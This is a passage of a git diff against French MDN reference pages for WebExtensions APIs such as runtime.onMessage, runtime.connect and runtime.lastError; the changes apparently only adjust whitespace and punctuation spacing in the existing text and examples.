si cette réponse sera récupérée du cache disque. - `incognito` @@ -33,13 +33,13 @@ Les valeurs de ce type sont des objets. Ils contiennent les propriétés suivant - `method` - : `string`. Méthode HTTP standard: par exemple, "GET" ou "POST". - `originUrl` - - : `string`. URL de la ressource qui a déclenché cette demande. Notez que ceci peut ne pas être le même que l'URL de la page dans laquelle la ressource demandée sera chargée. Par exemple, si un document déclenche un chargement dans une fenêtre différente l'[attribut cible d'un lien](/fr/docs/Web/HTML/Element/a#attr-target), ou d'un document CSS inclut une image utilisant la [`notation fonctionnelle url()`](</fr/docs/Web/CSS/url#The_url()_functional_notation>), alors ce sera l'URL du document original ou du document CSS, respectivement. + - : `string`. URL de la ressource qui a déclenché cette demande. Notez que ceci peut ne pas être le même que l'URL de la page dans laquelle la ressource demandée sera chargée. Par exemple, si un document déclenche un chargement dans une fenêtre différente l'[attribut cible d'un lien](/fr/docs/Web/HTML/Element/a#attr-target), ou d'un document CSS inclut une image utilisant la [`notation fonctionnelle url()`](</fr/docs/Web/CSS/url#The_url()_functional_notation>), alors ce sera l'URL du document original ou du document CSS, respectivement. - `parentFrameId` - : `integer`. ID de l'image qui contient l'image qui a envoyé la demande. Défini sur -1 si aucun cadre parent n'existe. - `requestId` - : `string`. L'ID de la demande Les ID de demande sont uniques dans une session de navigateur, vous pouvez donc les utiliser pour associer différents événements associés à la même demande. - `requestHeaders`{{optional_inline}} - - : {{WebExtAPIRef('webRequest.HttpHeaders')}}. Les en-têtes de requête HTTP qui vont être envoyés avec cette requête. Notez que ceci n'est inclus que si l'option `"requestHeaders"` a été passée dans `addListener()`. + - : {{WebExtAPIRef('webRequest.HttpHeaders')}}. Les en-têtes de requête HTTP qui vont être envoyés avec cette requête. Notez que ceci n'est inclus que si l'option `"requestHeaders"` a été passée dans `addListener()`. - `tabId` - : `integer`. ID de l'onglet dans lequel la requête a lieu. Défini sur -1 si la requête n'est pas liée à un onglet. - `timeStamp` diff --git a/files/fr/mozilla/add-ons/webextensions/api/proxy/unregister/index.md b/files/fr/mozilla/add-ons/webextensions/api/proxy/unregister/index.md index 8aab0c3b6f..ef5dfaf59e 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/proxy/unregister/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/proxy/unregister/index.md @@ -34,7 +34,7 @@ None. ### Valeur retournée -Une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) qui sera remplie sans arguments lorsque le fichier PAC a été désinscrit. +Une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) qui sera remplie sans arguments lorsque le fichier PAC a été désinscrit. ## Exemples diff --git a/files/fr/mozilla/add-ons/webextensions/api/runtime/connect/index.md b/files/fr/mozilla/add-ons/webextensions/api/runtime/connect/index.md index a7b8ae1879..f5f3013753 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/runtime/connect/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/runtime/connect/index.md @@ -44,7 +44,7 @@ var port = browser.runtime.connect( - `name`{{optional_inline}} - : `string`. Sera passé dans {{WebExtAPIRef("runtime.onConnect")}} pour les processus qui écoutent un évènement de type connexion. - `includeTlsChannelId`{{optional_inline}} - - : `boolean`. indique si l'ID du canal TLS sera transmis à {{WebExtAPIRef("runtime.onConnectExternal")}} pour le processus qui écoutent l'événement de connexion. + - : `boolean`. indique si l'ID du canal TLS sera transmis à {{WebExtAPIRef("runtime.onConnectExternal")}} pour le processus qui écoutent l'événement de connexion. ### Valeur retournée diff --git a/files/fr/mozilla/add-ons/webextensions/api/runtime/connectnative/index.md b/files/fr/mozilla/add-ons/webextensions/api/runtime/connectnative/index.md index a538d7c7cd..511d2bc715 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/runtime/connectnative/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/runtime/connectnative/index.md @@ -13,7 +13,7 @@ tags: - runtime translation_of: Mozilla/Add-ons/WebExtensions/API/runtime/connectNative --- -{{AddonSidebar()}}Connecte l'extension à une appplication native sur l'ordinateur de l'utilisateur.Cela prend le nom d'une application native en tant que paramètre. Il démarre l'application native et retourne un objet {{WebExtAPIRef("runtime.Port")}} à l'appelant.L'appelant peut utiliser le `Port` pour échanger des messages avec l'application native utilisant `Port.postMessage()` et `port.onMessage`.L'application native s'exécute jusqu'à ce qu'elle se termine, ou l'appelant appelle `Port.disconnect()`, ou la page qui a créé le `Port` est détruite. Une fois le `Port` est déconnecté, le navigateur mettra quelques secondes à se terminer pour quitter le processus, puis le désactiver s'il ne s'est pas arrêté. +{{AddonSidebar()}}Connecte l'extension à une appplication native sur l'ordinateur de l'utilisateur.Cela prend le nom d'une application native en tant que paramètre. Il démarre l'application native et retourne un objet {{WebExtAPIRef("runtime.Port")}} à l'appelant.L'appelant peut utiliser le `Port` pour échanger des messages avec l'application native utilisant `Port.postMessage()` et `port.onMessage`.L'application native s'exécute jusqu'à ce qu'elle se termine, ou l'appelant appelle `Port.disconnect()`, ou la page qui a créé le `Port` est détruite. Une fois le `Port` est déconnecté, le navigateur mettra quelques secondes à se terminer pour quitter le processus, puis le désactiver s'il ne s'est pas arrêté. Pour plus d'informations, voir [messagerie native](/fr/Add-ons/WebExtensions/Native_messaging). diff --git a/files/fr/mozilla/add-ons/webextensions/api/runtime/getbackgroundpage/index.md b/files/fr/mozilla/add-ons/webextensions/api/runtime/getbackgroundpage/index.md index 2ecb790918..cfe8bd2efb 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/runtime/getbackgroundpage/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/runtime/getbackgroundpage/index.md @@ -17,7 +17,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/runtime/getBackgroundPage Récupère l'objet [`Window`](/fr/docs/Web/API/Window) pour la page d'arrière-plan qui s'exécute dans l'extension en cours. -Cela consiste un moyen pratique pour d'autres scripts d'extension privilégiés d'accéder directement à la portée du script d'arrière plan. Cela leur permet d'accéder aux variables ou aux fonctions d'appel définies dans cette portée. Le "script privilégié" inclut ici les scripts s'exécutant dans les [pages d'options](/fr/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Options_pages), ou les scripts s'exécutant dans les fenêtres d'[action du navigateur](/fr/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Browser_actions_2) ou d'[action page](/fr/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Page_actions), mais n'inclut pas les [scripts de contenu](/fr/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Content_scripts). +Cela consiste un moyen pratique pour d'autres scripts d'extension privilégiés d'accéder directement à la portée du script d'arrière plan. Cela leur permet d'accéder aux variables ou aux fonctions d'appel définies dans cette portée. Le "script privilégié" inclut ici les scripts s'exécutant dans les [pages d'options](/fr/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Options_pages), ou les scripts s'exécutant dans les fenêtres d'[action du navigateur](/fr/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Browser_actions_2) ou d'[action page](/fr/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Page_actions), mais n'inclut pas les [scripts de contenu](/fr/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Content_scripts). Notez que les variables déclarées à l'aide de [`const`](/fr/docs/Web/JavaScript/Reference/Instructions/const) ou [`let`](/fr/docs/Web/JavaScript/Reference/Instructions/let) n'apparaissaient pas dans l'objet window retourné par cette fonction. diff --git a/files/fr/mozilla/add-ons/webextensions/api/runtime/index.md b/files/fr/mozilla/add-ons/webextensions/api/runtime/index.md index fad7f0742b..3cc9d38fb2 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/runtime/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/runtime/index.md @@ -55,7 +55,7 @@ Il fournit également des API de messagerie vous permettant de: - {{WebExtAPIRef("runtime.openOptionsPage()")}} - : Ouvre une [page d'options](/fr/Add-ons/WebExtensions/user_interface/Options_pages) de votre extension. - {{WebExtAPIRef("runtime.getManifest()")}} - - : Obtient le fichier [manifest.json](/fr/Add-ons/WebExtensions/manifest.json) complet, sérialisé en tant qu'objet. + - : Obtient le fichier [manifest.json](/fr/Add-ons/WebExtensions/manifest.json) complet, sérialisé en tant qu'objet. - {{WebExtAPIRef("runtime.getURL()")}} - : Etant donné un chemin relatif de [manifest.json](/fr/Add-ons/WebExtensions/manifest.json) à une ressource empaquetée avec l'extension, renvoie une URL entièrement qualifiée. - {{WebExtAPIRef("runtime.setUninstallURL()")}} @@ -69,7 +69,7 @@ Il fournit également des API de messagerie vous permettant de: - {{WebExtAPIRef("runtime.connectNative()")}} - : Connecte l'extension à une application native sur l'ordinateur de l'utilisateur. - {{WebExtAPIRef("runtime.sendMessage()")}} - - : Envoie un seul message aux écouteurs d'événement dans votre extension ou une extension différente. Similaire à {{WebExtAPIRef('runtime.connect')}} mais n'envoie qu'un seul message, avec une réponse facultative. + - : Envoie un seul message aux écouteurs d'événement dans votre extension ou une extension différente. Similaire à {{WebExtAPIRef('runtime.connect')}} mais n'envoie qu'un seul message, avec une réponse facultative. - {{WebExtAPIRef("runtime.sendNativeMessage()")}} - : Envoie un seul message d'une extension à une application native. - {{WebExtAPIRef("runtime.getPlatformInfo()")}} diff --git a/files/fr/mozilla/add-ons/webextensions/api/runtime/lasterror/index.md b/files/fr/mozilla/add-ons/webextensions/api/runtime/lasterror/index.md index 7cb6dfd7fc..8114239f22 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/runtime/lasterror/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/runtime/lasterror/index.md @@ -20,9 +20,9 @@ var gettingCookies = browser.cookies.getAll(); gettingCookies.then(onGot, onError); ``` -La propriété `runtime.lastError` est définie lorsqu'une fonction asynchrone a une condition d'erreur qu'elle doit signaler à son appelant. +La propriété `runtime.lastError` est définie lorsqu'une fonction asynchrone a une condition d'erreur qu'elle doit signaler à son appelant. -Si vous applez une fonction asynchrone qui veut définir `lastError`, vous devez vérifier l'erreur lorsque vous gérez le résultat de la fonction. Si `lastError` a été défini et que vous ne cochez pas dans la fonction de rappel, une erreur sera générée. +Si vous applez une fonction asynchrone qui veut définir `lastError`, vous devez vérifier l'erreur lorsque vous gérez le résultat de la fonction. Si `lastError` a été défini et que vous ne cochez pas dans la fonction de rappel, une erreur sera générée. ## Syntaxe @@ -32,7 +32,7 @@ var myError = browser.runtime.lastError; // null or Error object ### Valeur -Un objet [Error](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Error) représentant une erreur. La propriété [`message`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Error/message) est un `string` avec une description lisible par l'utilisateur de l'erreur. Si `lastError` n'a pas été défini, la valeur est `null`. +Un objet [Error](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Error) représentant une erreur. La propriété [`message`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Error/message) est un `string` avec une description lisible par l'utilisateur de l'erreur. Si `lastError` n'a pas été défini, la valeur est `null`. ## Examples @@ -71,7 +71,7 @@ var setCookie = browser.cookies.set( setCookie.then(logCookie, logError); ``` -> **Note :** `runtime.lastError` est un alias pour {{WebExtAPIRef("extension.lastError")}}: Ils sont ensemble, et la vérification de l'un fonctionnera. +> **Note :** `runtime.lastError` est un alias pour {{WebExtAPIRef("extension.lastError")}}: Ils sont ensemble, et la vérification de l'un fonctionnera. ## Compatibilité du navigateur diff --git a/files/fr/mozilla/add-ons/webextensions/api/runtime/messagesender/index.md b/files/fr/mozilla/add-ons/webextensions/api/runtime/messagesender/index.md index 812888e73f..12d8672178 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/runtime/messagesender/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/runtime/messagesender/index.md @@ -26,11 +26,11 @@ Les valeurs de ce type sont des objets. Ils contiennent les propriétés suivant - `tab`{{optional_inline}} - : {{WebExtAPIRef('tabs.Tab')}}. Le {{WebExtAPIRef('tabs.Tab')}} qui a ouvert la connexion. Cette propriété ne sera présente que lorsque la connexion a été ouverte à partir d'un onglet (y compris les scripts de contenu). - `frameId`{{optional_inline}} - - : `integer`. Le cadre qui a ouvert la connexion. Zéro pour les cadres de haut niveau, positif pour les cadres enfants. Cela ne sera défini que lorsque l'`onglet` est défini. + - : `integer`. Le cadre qui a ouvert la connexion. Zéro pour les cadres de haut niveau, positif pour les cadres enfants. Cela ne sera défini que lorsque l'`onglet` est défini. - `id`{{optional_inline}} - - : `string`. L'ID de l'extension qui a envoyé le message, si le message a été envoyé par une extension. Si l'expéditeur définit explicitement un ID à l'aide de la clé des [applications](/fr/Add-ons/WebExtensions/manifest.json/applications) dans manifest.json, then `id` aura cette valeur. Sinon, il aura l'ID qui a été généré pour l'expéditeur. Notez que dans Firefox, avant la version 54, cette valeur était l'ID interne de l'extension (c'est-à-dire l'[UUID](https://en.wikipedia.org/wiki/Universally_unique_identifier) qui apparaît dans l'URL de l'extension). + - : `string`. L'ID de l'extension qui a envoyé le message, si le message a été envoyé par une extension. Si l'expéditeur définit explicitement un ID à l'aide de la clé des [applications](/fr/Add-ons/WebExtensions/manifest.json/applications) dans manifest.json, then `id` aura cette valeur. Sinon, il aura l'ID qui a été généré pour l'expéditeur. Notez que dans Firefox, avant la version 54, cette valeur était l'ID interne de l'extension (c'est-à-dire l'[UUID](https://en.wikipedia.org/wiki/Universally_unique_identifier) qui apparaît dans l'URL de l'extension). - `url`{{optional_inline}} - - : `string`. L'URL de la page ou du cadre hébergeant le script qui a envoyé le message. Si l'expéditeur est un script s'exécutant dans une page d'extension (telle qu'une [page d'arrière-plan](/fr/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Background_scripts), une [page d'options](/fr/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Options_pages), ou une [action de navigateur](/fr/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Browser_actions_2) ou une [action contextuelle](/fr/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Page_actions)), l'URL sera au format `"moz-extension://<extension-internal-id>/path/to/page.html"`. Si l'expéditeur est un script d'arrière-plan et que vous n'avez pas inclus une page d'arrière-plan, ce sera `"moz-extension://<extension-internal-id>/_generated_background_page.html"`. Si l'expéditeur est un script s'exécutant sur une page Web (y compris les scripts de contenu et les scripts de page normaux), alors l'`url` sera l'URL de la page web. Si le script s'exécute dans un iframe, `url` sera l'URL de l'iframe. + - : `string`. L'URL de la page ou du cadre hébergeant le script qui a envoyé le message. Si l'expéditeur est un script s'exécutant dans une page d'extension (telle qu'une [page d'arrière-plan](/fr/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Background_scripts), une [page d'options](/fr/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Options_pages), ou une [action de navigateur](/fr/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Browser_actions_2) ou une [action contextuelle](/fr/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Page_actions)), l'URL sera au format `"moz-extension://<extension-internal-id>/path/to/page.html"`. Si l'expéditeur est un script d'arrière-plan et que vous n'avez pas inclus une page d'arrière-plan, ce sera `"moz-extension://<extension-internal-id>/_generated_background_page.html"`. Si l'expéditeur est un script s'exécutant sur une page Web (y compris les scripts de contenu et les scripts de page normaux), alors l'`url` sera l'URL de la page web. Si le script s'exécute dans un iframe, `url` sera l'URL de l'iframe. - `tlsChannelId`{{optional_inline}} - : `string`. L'ID de canal TLS de la page ou du cadre qui a ouvert la connexion, si demandé par l'extension, et si disponible. diff --git a/files/fr/mozilla/add-ons/webextensions/api/runtime/onconnectexternal/index.md b/files/fr/mozilla/add-ons/webextensions/api/runtime/onconnectexternal/index.md index 22afb6866d..9b0214e239 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/runtime/onconnectexternal/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/runtime/onconnectexternal/index.md @@ -19,7 +19,7 @@ Lancé lorsqu'une extension reçoit une demande de connexion d'une extension dif Pour envoyer un message qui sera reçu par le programme d'écoute `onConnectExternal`, utilisez {{WebExtAPIRef("runtime.connect()")}}, en transmettant l'ID du destinataire dans le paramètre `extensionId`. -L'écouteur reçoit un objet {{WebExtAPIRef('runtime.Port')}} qu'il peut ensuite utiliser pour envoyer et recevoir des messages. L'objet `Port` contient également une propriété`sender`, qui est un objet {{WebExtAPIRef("runtime.MessageSender")}}, et que le destinataire peut utiliser pour vérifier l'ID de l'expéditeur. +L'écouteur reçoit un objet {{WebExtAPIRef('runtime.Port')}} qu'il peut ensuite utiliser pour envoyer et recevoir des messages. L'objet `Port` contient également une propriété`sender`, qui est un objet {{WebExtAPIRef("runtime.MessageSender")}}, et que le destinataire peut utiliser pour vérifier l'ID de l'expéditeur. ## Syntaxe @@ -36,7 +36,7 @@ Les événements ont trois fonctions : - `removeListener(listener)` - : Arrêtez d'écouter cet événement. L'argument `listener` est l'écouteur à supprimer. - `hasListener(listener)` - - : Vérifie si un `listener` est enregistré pour cet événement. Retourne `true` s'il écoute, `false` sinon. + - : Vérifie si un `listener` est enregistré pour cet événement. Retourne `true` s'il écoute, `false` sinon. ## Syntaxe addListener @@ -72,7 +72,7 @@ browser.browserAction.onClicked.addListener(() => { }); ``` -Gretel écoute la connexion et vérifie que l'expéditeur est vraiment Hansel: +Gretel écoute la connexion et vérifie que l'expéditeur est vraiment Hansel: ```js var portFromHansel; diff --git a/files/fr/mozilla/add-ons/webextensions/api/runtime/oninstalled/index.md b/files/fr/mozilla/add-ons/webextensions/api/runtime/oninstalled/index.md index 4f7a42e9fe..f96365fb3c 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/runtime/oninstalled/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/runtime/oninstalled/index.md @@ -17,7 +17,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/runtime/onInstalled Lancé lorsque l'extension est installée pour la première fois, lorsque l'extension est mise à jour vers une nouvelle version et lorsque le navigateur est mis à jour vers une nouvelle version. -Notez que `runtime.onInstalled` n'est pas la même chose {{WebExtAPIRef("management.onInstalled")}}. L'événement `runtime.onInstalled` est déclenché uniquement pour votre extension. L'événement `browser.management.onInstalled` est déclenché pour toutes les extensions. +Notez que `runtime.onInstalled` n'est pas la même chose {{WebExtAPIRef("management.onInstalled")}}. L'événement `runtime.onInstalled` est déclenché uniquement pour votre extension. L'événement `browser.management.onInstalled` est déclenché pour toutes les extensions. ## Syntaxe @@ -49,13 +49,13 @@ Les événements ont trois fonctions : - : Un objet avec les propriétés suivantes : - `id`{{optional_inline}} - - : `string`. L'ID de l'extension de module partagé importé mise à jour. Ceci n'est présent que si la valeur de `raison` est `shared_module_update`. + - : `string`. L'ID de l'extension de module partagé importé mise à jour. Ceci n'est présent que si la valeur de `raison` est `shared_module_update`. - `previousVersion`{{optional_inline}} - : `string`. La version précédente de l'extension vient d'être mise à jour. Ceci n'est pas présent si la valeur de `raison` est `mise à jour`. - `reason` - : Une valeur {{WebExtAPIRef('runtime.OnInstalledReason')}}, indiquant la raison pour laquelle cet événement est distribué. - `temporary` - - : `boolean`. Vrai si le module complémentaire a été installé temporairement. Par exemple, en utilisant la page "about:debugging" dans Firefox ou en utilisant [web-ext run](/fr/Add-ons/WebExtensions/Getting_started_with_web-ext). Sinon faux. + - : `boolean`. Vrai si le module complémentaire a été installé temporairement. Par exemple, en utilisant la page "about:debugging" dans Firefox ou en utilisant [web-ext run](/fr/Add-ons/WebExtensions/Getting_started_with_web-ext). Sinon faux. ## Compatibilité du navigateur diff --git a/files/fr/mozilla/add-ons/webextensions/api/runtime/onmessage/index.md b/files/fr/mozilla/add-ons/webextensions/api/runtime/onmessage/index.md index 42036b3073..ee189cc647 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/runtime/onmessage/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/runtime/onmessage/index.md @@ -20,24 +20,24 @@ Utilisez cet événement pour écouter les messages d’une autre partie de votr Voici quelques exemples de cas d'utilisation : - **dans un [script de contenu](/fr/docs/Mozilla/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#content_scripts)**, pour écouter les messages d’un [script d’arrière-plan](/fr/docs/Mozilla/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#background_scripts) ; -- **dans un script d’arrière-plan**, pour écouter les messages d’un script de contenu ; -- **dans une [page d’options](/fr/docs/Mozilla/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#options_pages) ou un script de [popup](/fr/docs/Mozilla/Add-ons/WebExtensions/User_interface_components#popups)**, pour écouter les messages d’un script d’arrière-plan ; +- **dans un script d’arrière-plan**, pour écouter les messages d’un script de contenu ; +- **dans une [page d’options](/fr/docs/Mozilla/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#options_pages) ou un script de [popup](/fr/docs/Mozilla/Add-ons/WebExtensions/User_interface_components#popups)**, pour écouter les messages d’un script d’arrière-plan ; - **dans un script d’arrière-plan**, pour écouter les messages d’une page d’options ou d’un script de popup. Pour envoyer un message reçu par l'écouteur `onMessage`, utilisez {{WebExtAPIRef("runtime.sendMessage()")}} ou (pour envoyer un message à un script de contenu) {{WebExtAPIRef("tabs.sendMessage()")}}. -> **Note :** Évitez de créer plusieurs écouteurs `onMessage` pour le même type de message, car l'ordre de déclenchement des différents écouteurs ne sera pas garanti. +> **Note :** Évitez de créer plusieurs écouteurs `onMessage` pour le même type de message, car l'ordre de déclenchement des différents écouteurs ne sera pas garanti. > > Lorsque vous voulez garantir la livraison d'un message à une terminaison spécifique, utilisez l'[approche basée sur la connexion pour échanger des messages](/fr/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#les_messages_en_flux_continu). -En plus du message, l’écouteur reçoit en paramètres : +En plus du message, l’écouteur reçoit en paramètres : -- Un objet `sender` donnant les détails sur l’expéditeur du message ; +- Un objet `sender` donnant les détails sur l’expéditeur du message ; - Une fonction `sendResponse()` qui peut être utilisée pour renvoyer une réponse à l'expéditeur. Vous pouvez envoyer une réponse synchrone au message en appelant la fonction `sendResponse()` dans votre écouteur. [Voir un exemple](/fr/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage#sending_a_synchronous_response). -Pour envoyer une réponse asynchrone, il existe deux options : +Pour envoyer une réponse asynchrone, il existe deux options : - Renvoyer `true` à partir de l’écouteur d’événement. Cela permet de conserver la fonction `sendResponse()` après le retour de l’écouteur pour éventuellement l'appeler plus tard. [Voir un exemple](/fr/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage#sending_an_asynchronous_response_using_sendresponse). - Renvoyer une `Promise` depuis l’écouteur d’événement, et la résoudre lorsque vous avez la réponse (ou la rejeter en cas d’erreur). [Voir un exemple](/fr/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage#sending_an_asynchronous_response_using_a_promise). @@ -56,7 +56,7 @@ browser.runtime.onMessage.removeListener(listener) browser.runtime.onMessage.hasListener(listener) ``` -Les événements ont trois fonctions : +Les événements ont trois fonctions : - `addListener(listener)` - : Ajoute un écouteur à cet événement. @@ -71,7 +71,7 @@ Les événements ont trois fonctions : - _`listener`_ - - : Une fonction d’écoute qui sera appelée lorsque cet événement se produira. La fonction recevra les arguments suivants : + - : Une fonction d’écoute qui sera appelée lorsque cet événement se produira. La fonction recevra les arguments suivants : - _`message`_ - : Un objet qui est le message lui-même. C’est un objet sérialisable (voir [l'algorithme de clonage de données](/fr/docs/Mozilla/Add-ons/WebExtensions/Chrome_incompatibilities#data_cloning_algorithm)). @@ -131,7 +131,7 @@ Les événements ont trois fonctions : ### Exemple simple -Ce script de contenu écoute les événements clic dans la page web. Si le clic a eu lieu sur un lien, il envoie un message à la page d’arrière-plan avec l’URL cible : +Ce script de contenu écoute les événements clic dans la page web. Si le clic a eu lieu sur un lien, il envoie un message à la page d’arrière-plan avec l’URL cible : ```js // content-script.js @@ -165,7 +165,7 @@ function notify(message) { ### Envoyer une réponse synchrone -Le script de contenu suivant envoie un message au script d’arrière-plan lorsque l’utilisateur ou l’utilisatrice clique sur la page. Il enregistre également toute réponse envoyée par le script d’arrière-plan : +Le script de contenu suivant envoie un message au script d’arrière-plan lorsque l’utilisateur ou l’utilisatrice clique sur la page. Il enregistre également toute réponse envoyée par le script d’arrière-plan : ```js // content-script.js @@ -186,7 +186,7 @@ function sendMessage(e) { window.addEventListener("click", sendMessage); ``` -Voici une version du script d’arrière-plan correspondant, qui envoie une réponse de manière synchrone depuis l’intérieur de l’écouteur : +Voici une version du script d’arrière-plan correspondant, qui envoie une réponse de manière synchrone depuis l’intérieur de l’écouteur : ```js // background-script.js @@ -199,7 +199,7 @@ function handleMessage(request, sender, sendResponse) { browser.runtime.onMessage.addListener(handleMessage); ``` -Et voici une autre version, qui utilise {{jsxref("Promise.resolve()")}} : +Et voici une autre version, qui utilise {{jsxref("Promise.resolve()")}} : ```js // background-script.js @@ -214,7 +214,7 @@ browser.runtime.onMessage.addListener(handleMessage); ### Envoi d’une réponse asynchrone à l’aide de sendResponse -Voici une autre version du script d’arrière-plan de l’exemple précédent. Il envoie une réponse de manière asynchrone, après le retour de l’écouteur. Remarquez le `return true;` dans l’écouteur : cela indique au navigateur que vous avez l’intention d’utiliser l’argument `sendResponse()` après le retour de l’écouteur. +Voici une autre version du script d’arrière-plan de l’exemple précédent. Il envoie une réponse de manière asynchrone, après le retour de l’écouteur. Remarquez le `return true;` dans l’écouteur : cela indique au navigateur que vous avez l’intention d’utiliser l’argument `sendResponse()` après le retour de l’écouteur. ```js // background-script.js @@ -232,7 +232,7 @@ browser.runtime.onMessage.addListener(handleMessage); ### Envoi d’une réponse asynchrone à l’aide d’une promesse -Ce script de contenu reçoit le premier lien `<a>` dans la page, et envoie un message demandant si l’emplacement du lien fait partie des marque-pages. Il attend comme réponse un {{jsxref("Boolean", "booléen")}} : `true` si l’emplacement est dans les marque-pages, `false` sinon. +Ce script de contenu reçoit le premier lien `<a>` dans la page, et envoie un message demandant si l’emplacement du lien fait partie des marque-pages. Il attend comme réponse un {{jsxref("Boolean", "booléen")}} : `true` si l’emplacement est dans les marque-pages, `false` sinon. ```js // content-script.js @@ -250,7 +250,7 @@ browser.runtime.sendMessage({ }).then(handleResponse); ``` -Voici le script d’arrière-plan. Il utilise `{{WebExtAPIRef("bookmarks.search()")}}` pour voir si le lien est dans les marque-pages, ce qui renvoie une {{jsxref("Promise", "promesse")}} : +Voici le script d’arrière-plan. Il utilise `{{WebExtAPIRef("bookmarks.search()")}}` pour voir si le lien est dans les marque-pages, ce qui renvoie une {{jsxref("Promise", "promesse")}} : ```js // background-script.js @@ -266,7 +266,7 @@ function isBookmarked(message, sender, response) { browser.runtime.onMessage.addListener(isBookmarked); ``` -Si le gestionnaire asynchrone ne renvoie pas de promesse, vous pouvez explicitement construire une promesse. Cet exemple plutôt artificiel envoie une réponse après un délai d’une seconde, en utilisant [`Window.setTimeout()`](/fr/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout) : +Si le gestionnaire asynchrone ne renvoie pas de promesse, vous pouvez explicitement construire une promesse. Cet exemple plutôt artificiel envoie une réponse après un délai d’une seconde, en utilisant [`Window.setTimeout()`](/fr/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout) : ```js // background-script.js diff --git a/files/fr/mozilla/add-ons/webextensions/api/runtime/onmessageexternal/index.md b/files/fr/mozilla/add-ons/webextensions/api/runtime/onmessageexternal/index.md index 4438204323..a3a56b8faa 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/runtime/onmessageexternal/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/runtime/onmessageexternal/index.md @@ -76,7 +76,7 @@ Les événements ont trois fonctions: ## Exemples -Dans cet exemple, l'extension "blue\@mozilla.org" envoie un message à l'extension "red\@mozilla.org": +Dans cet exemple, l'extension "blue\@mozilla.org" envoie un message à l'extension "red\@mozilla.org": ```js // sender: browser.runtime.id == "blue@mozilla.org" diff --git a/files/fr/mozilla/add-ons/webextensions/api/runtime/onrestartrequiredreason/index.md b/files/fr/mozilla/add-ons/webextensions/api/runtime/onrestartrequiredreason/index.md index ea09c4206a..ecba00714f 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/runtime/onrestartrequiredreason/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/runtime/onrestartrequiredreason/index.md @@ -15,7 +15,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/runtime/OnRestartRequiredReaso --- {{AddonSidebar()}} -La raison pour laquelle l'événement {{WebExtAPIRef("runtime.onRestartRequired", "onRestartRequired")}} est en cours d'exécution. +La raison pour laquelle l'événement {{WebExtAPIRef("runtime.onRestartRequired", "onRestartRequired")}} est en cours d'exécution. ## Type diff --git a/files/fr/mozilla/add-ons/webextensions/api/runtime/onsuspendcanceled/index.md b/files/fr/mozilla/add-ons/webextensions/api/runtime/onsuspendcanceled/index.md index 53ad367711..650eade471 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/runtime/onsuspendcanceled/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/runtime/onsuspendcanceled/index.md @@ -15,7 +15,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/runtime/onSuspendCanceled --- {{AddonSidebar()}} -Envoyé après {{WebExtAPIRef("runtime.onSuspend")}} pour indiquer que l'application ne sera pas déchargée après tout. +Envoyé après {{WebExtAPIRef("runtime.onSuspend")}} pour indiquer que l'application ne sera pas déchargée après tout. ## Syntaxe diff --git a/files/fr/mozilla/add-ons/webextensions/api/runtime/openoptionspage/index.md b/files/fr/mozilla/add-ons/webextensions/api/runtime/openoptionspage/index.md index 85034e0d22..5c0927731c 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/runtime/openoptionspage/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/runtime/openoptionspage/index.md @@ -5,7 +5,7 @@ translation_of: 